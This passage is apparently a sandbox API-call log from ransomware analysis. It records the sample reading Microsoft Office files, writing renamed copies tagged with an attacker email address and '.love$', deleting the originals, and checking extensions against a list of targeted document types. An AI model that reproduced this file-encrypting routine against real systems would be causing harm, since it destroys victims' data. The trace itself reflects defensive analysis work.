lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.667] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0250.670] GetLastError () returned 0x0 [0250.670] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x480a2, lpOverlapped=0x0) returned 1 [0250.682] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x480b0, lpOverlapped=0x0) returned 1 [0250.689] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0250.689] WriteFile (in: hFile=0x450, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xea, lpOverlapped=0x0) returned 1 [0250.689] SetEndOfFile (hFile=0x450) returned 1 [0250.689] CloseHandle (hObject=0x450) returned 1 [0250.690] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.690] SetEndOfFile (hFile=0x45c) returned 1 [0250.700] CloseHandle (hObject=0x45c) returned 1 [0250.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0250.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.702] lstrlenW (lpString=".doc") returned 4 [0250.702] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString=".docx") returned 5 [0250.702] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.702] lstrlenW (lpString=".pdf") returned 4 [0250.702] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString=".xls") returned 4 [0250.702] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString=".xlsx") returned 5 [0250.702] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.702] lstrlenW (lpString=".ppt") returned 4 [0250.702] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.702] lstrlenW (lpString=".zip") returned 4 [0250.702] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString=".rar") returned 4 [0250.702] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString=".bz2") returned 4 [0250.702] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.702] lstrlenW (lpString=".7z") returned 3 [0250.702] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.703] lstrlenW (lpString=".dbf") returned 4 [0250.703] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.703] lstrlenW (lpString=".1cd") returned 4 [0250.703] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.703] lstrlenW (lpString=".jpg") returned 4 [0250.703] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.703] lstrlenW (lpString=".doc") returned 4 [0250.703] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString=".docx") returned 5 [0250.703] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.703] lstrlenW (lpString=".pdf") returned 4 [0250.703] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString=".xls") returned 4 [0250.703] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString=".xlsx") returned 5 [0250.703] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.703] lstrlenW (lpString=".ppt") returned 4 [0250.703] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.703] lstrlenW (lpString=".zip") returned 4 [0250.703] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString=".rar") returned 4 [0250.703] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString=".bz2") returned 4 [0250.703] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.703] lstrlenW (lpString=".7z") returned 3 [0250.703] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.704] lstrlenW (lpString=".dbf") returned 4 [0250.704] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.704] lstrlenW (lpString=".1cd") returned 4 [0250.704] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0250.704] lstrlenW (lpString=".jpg") returned 4 [0250.704] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.704] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.704] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0250.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0250.782] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=18624) returned 1 [0250.782] CloseHandle (hObject=0x45c) returned 1 [0250.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0250.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.126] lstrlenW (lpString=".doc") returned 4 [0251.126] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.126] lstrlenW (lpString=".docx") returned 5 [0251.126] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0251.126] lstrlenW (lpString=".pdf") returned 4 [0251.126] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.126] lstrlenW (lpString=".xls") returned 4 [0251.126] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.126] lstrlenW (lpString=".xlsx") returned 5 [0251.126] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0251.126] lstrlenW (lpString=".ppt") returned 4 [0251.126] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.126] lstrlenW (lpString=".zip") returned 4 [0251.126] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.126] lstrlenW (lpString=".rar") returned 4 [0251.126] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.126] lstrlenW (lpString=".bz2") returned 4 [0251.126] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.127] lstrlenW (lpString=".7z") returned 3 [0251.127] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.127] lstrlenW (lpString=".dbf") returned 4 [0251.127] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.127] lstrlenW (lpString=".1cd") returned 4 [0251.127] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.127] lstrlenW (lpString=".jpg") returned 4 [0251.127] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.127] lstrlenW (lpString=".doc") returned 4 [0251.127] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.127] lstrlenW (lpString=".docx") returned 5 [0251.127] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0251.127] lstrlenW (lpString=".pdf") returned 4 [0251.127] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.127] lstrlenW (lpString=".xls") returned 4 [0251.127] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.127] lstrlenW (lpString=".xlsx") returned 5 [0251.127] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0251.127] lstrlenW (lpString=".ppt") returned 4 [0251.128] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.128] lstrlenW (lpString=".zip") returned 4 [0251.128] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.128] lstrlenW (lpString=".rar") returned 4 [0251.128] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.128] lstrlenW (lpString=".bz2") returned 4 [0251.128] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.128] lstrlenW (lpString=".7z") returned 3 [0251.128] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.128] lstrlenW (lpString=".dbf") returned 4 [0251.128] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.128] lstrlenW (lpString=".1cd") returned 4 [0251.128] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0251.128] lstrlenW (lpString=".jpg") returned 4 [0251.128] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.128] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.128] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36 [0251.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.129] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=363736) returned 1 [0251.130] CloseHandle (hObject=0x548) returned 1 [0251.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220 [0251.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.131] lstrlenW (lpString=".doc") returned 4 [0251.131] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.131] lstrlenW (lpString=".docx") returned 5 [0251.132] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0251.132] lstrlenW (lpString=".pdf") returned 4 [0251.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.132] lstrlenW (lpString=".xls") returned 4 [0251.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.132] lstrlenW (lpString=".xlsx") returned 5 [0251.132] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0251.132] lstrlenW (lpString=".ppt") returned 4 [0251.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.132] lstrlenW (lpString=".zip") returned 4 [0251.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.132] lstrlenW (lpString=".rar") returned 4 [0251.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.132] lstrlenW (lpString=".bz2") returned 4 [0251.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.132] lstrlenW (lpString=".7z") returned 3 [0251.132] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.132] lstrlenW (lpString=".dbf") returned 4 [0251.132] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.132] lstrlenW (lpString=".1cd") returned 4 [0251.132] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.132] lstrlenW (lpString=".jpg") returned 4 [0251.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.133] lstrlenW (lpString=".doc") returned 4 [0251.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString=".docx") returned 5 [0251.133] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0251.133] lstrlenW (lpString=".pdf") returned 4 [0251.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString=".xls") returned 4 [0251.133] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString=".xlsx") returned 5 [0251.133] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0251.133] lstrlenW (lpString=".ppt") returned 4 [0251.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.133] lstrlenW (lpString=".zip") returned 4 [0251.133] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString=".rar") returned 4 [0251.133] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.133] lstrlenW (lpString=".bz2") returned 4 [0251.133] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.133] lstrlenW (lpString=".7z") returned 3 [0251.133] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.133] lstrlenW (lpString=".dbf") returned 4 [0251.133] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.134] lstrlenW (lpString=".1cd") returned 4 [0251.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0251.134] lstrlenW (lpString=".jpg") returned 4 [0251.134] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.134] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.134] lstrlenW (lpString="Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 40 [0251.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.140] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=6890712) returned 1 [0251.140] CloseHandle (hObject=0x548) returned 1 [0251.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220 [0251.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0251.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.141] lstrlenW (lpString=".doc") returned 4 [0251.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.141] lstrlenW (lpString=".docx") returned 5 [0251.141] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0251.141] lstrlenW (lpString=".pdf") returned 4 [0251.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.141] lstrlenW (lpString=".xls") returned 4 [0251.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString=".xlsx") returned 5 [0251.142] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0251.142] lstrlenW (lpString=".ppt") returned 4 [0251.142] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.142] lstrlenW (lpString=".zip") returned 4 [0251.142] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString=".rar") returned 4 [0251.142] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString=".bz2") returned 4 [0251.142] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.142] lstrlenW (lpString=".7z") returned 3 [0251.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.142] lstrlenW (lpString=".dbf") returned 4 [0251.142] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.142] lstrlenW (lpString=".1cd") returned 4 [0251.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.142] lstrlenW (lpString=".jpg") returned 4 [0251.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.142] lstrlenW (lpString=".doc") returned 4 [0251.142] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString=".docx") returned 5 [0251.142] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0251.142] lstrlenW (lpString=".pdf") returned 4 [0251.142] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString=".xls") returned 4 [0251.142] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.142] lstrlenW (lpString=".xlsx") returned 5 [0251.142] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0251.142] lstrlenW (lpString=".ppt") returned 4 [0251.143] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.143] lstrlenW (lpString=".zip") returned 4 [0251.143] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.143] lstrlenW (lpString=".rar") returned 4 [0251.143] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.143] lstrlenW (lpString=".bz2") returned 4 [0251.143] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.143] lstrlenW (lpString=".7z") returned 3 [0251.143] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.143] lstrlenW (lpString=".dbf") returned 4 [0251.143] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.143] lstrlenW (lpString=".1cd") returned 4 [0251.143] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0251.143] lstrlenW (lpString=".jpg") returned 4 [0251.143] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.143] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0251.143] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31 [0251.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0251.145] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=73312) returned 1 [0251.145] CloseHandle (hObject=0x548) returned 1 [0251.145] GetFileAttributesW 